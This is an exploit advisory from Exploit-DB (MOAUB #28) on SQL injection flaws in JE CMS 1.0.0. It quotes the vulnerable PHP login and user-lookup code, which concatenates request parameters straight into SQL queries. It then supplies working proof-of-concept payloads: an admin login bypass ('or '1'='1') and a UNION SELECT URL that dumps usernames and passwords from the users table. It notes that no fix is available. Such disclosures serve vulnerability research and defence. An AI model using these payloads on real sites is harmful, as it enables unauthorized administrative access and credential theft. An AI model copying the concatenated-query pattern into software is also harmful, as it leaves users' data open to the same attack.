MOAUB #28 - JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability

2010-09-28 13:15:12

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http://www.exploit-db.com/moaub-28-je-cms-1-0-0-bypass-authentication-by-sql-injection-vulnerability/
'''


Title : JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability
Affected Version : JE CMS <= 1.0.0
Vendor Site : joenasejes.cz.cc
Discovery : abysssec.com


Vulnerabilites :

1. Bypass Authentication by SQL Injection Vulnerability

in administrator\login.php page, lines 16-20:
if (isset($_REQUEST['username'])) {
$username = $_REQUEST['username'];
$password = $_REQUEST['password'];
$result = $core->userLogin();


userLogin() function is in administrator\library\functions.php. in lines 129-139:
if ($userName == '' || $password == '') {
$errorMessage = JE_MISMATCH_USERNAME_PASSWORD;
} else {
// check the database and see if the username and password combo do match
$sql = "SELECT userid
FROM users
WHERE username = '".$userName."' // vulnerability is here
AND password = '".$this->getHash($password)."' // vulnerability is here
AND usertype = 1
AND block = 0";
$result = $this->JEQuery($sql);

POC:

in administrator/login.php:

username: admin' or '1'='1
password: admin' or '1'='1

2. SQL injection in administrator\index.php on "userid" parameter:

in administrator\index.php file line 12:
$userid = $_REQUEST['userid'];
lines 52-53:
case 'edituser' :
$user = $core->getUser($userid);

getUser function is in administrator\library\functions.php file. lines 578-583:

function getUser($id){

$sql = "SELECT *
FROM users
WHERE userid = ".$id; // vulnerability is here
$result = $this->JEQuery($sql);

POC:

http://site/joenas-ejes/administrator/index.php?jepage=edituser&userid=1 and 1=2 UNION SELECT 1,2,3,4,group_concat(username,0x3a,password),6,7,8,9,10,11,12 from users--

Fixes

No fixes

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